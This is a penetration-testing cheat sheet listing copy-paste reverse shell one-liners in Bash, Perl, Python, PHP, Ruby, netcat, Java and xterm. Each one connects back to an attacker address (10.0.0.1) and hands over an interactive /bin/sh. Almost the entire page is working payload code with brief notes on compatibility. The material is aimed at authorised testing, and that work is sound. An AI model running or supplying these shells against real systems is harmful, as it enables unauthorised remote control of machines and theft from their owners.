Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterward you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use to substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

#. Bash Reverse Shell

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#. PERL Reverse Shell

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

#. Python Reverse Shell

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#. PHP Reverse Shell

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

#. Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",2492).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","2492");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running on Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","2492");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

#. Netcat Reverse Shell

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 2492
# or
nc -c /bin/sh 10.0.0.1 2492
# or 
/bin/sh | nc 10.0.0.1 2492
# or
rm -f /tmp/p; mknod /tmp/p p && nc 10.0.0.1 2492 0/tmp/p
# or
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 2492 >/tmp/f

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#. Java Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

#. xterm Reverse Shell

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip